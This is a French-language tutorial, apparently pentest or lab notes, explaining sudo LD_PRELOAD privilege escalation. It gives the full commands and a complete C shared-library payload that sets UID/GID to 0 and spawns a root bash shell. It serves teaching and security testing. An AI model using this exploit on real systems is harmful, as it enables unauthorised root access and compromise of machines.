1. **Vérifier les droits sudo :** - Commande : `sudo -l` - Lorsque `env_keep+=LD_PRELOAD` est présent dans la configuration de sudo, cela signifie que la variable d'environnement `LD_PRELOAD` est conservée lors de l'exécution des commandes avec `sudo`. 2. **Créer le fichier source C (root.c) :** - Commande : `nano -w /tmp/root.c` - Le code C crée une bibliothèque partagée qui, lorsqu'elle est chargée, exécute son code d'initialisation (`_init()`). Ce code modifie l'ID utilisateur (UID) et l'ID de groupe (GID) du processus en 0 (c'est-à-dire `root`), puis lance un shell Bash. 3. **Compiler le fichier source en bibliothèque partagée :** - Commande : `gcc -fPIC -shared -o /tmp/root.so /tmp/root.c -nostartfiles` - Cette commande compile le fichier `root.c` en une bibliothèque partagée `root.so`. L'option `-fPIC` crée du code position indépendant, nécessaire pour les bibliothèques partagées, et `-nostartfiles` empêche gcc d'utiliser les fichiers de démarrage standard, ce qui n'est pas nécessaire pour ce type de charge utile. 4. **Exécuter une commande avec `sudo` en utilisant `LD_PRELOAD` :** - Commande : `sudo LD_PRELOAD=/tmp/root.so /usr/sbin/executable restart` - Ici, `LD_PRELOAD` est utilisé pour précharger `root.so`. Lorsque la commande `/usr/sbin/executable` (qui doit être une commande autorisée par `sudo`) est exécutée, elle charge `root.so` avant toute autre bibliothèque. Cela entraîne l'exécution du code dans `_init()`, élevant ainsi les privilèges du processus à ceux de `root`. Contenu de root.c: ```C #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } ```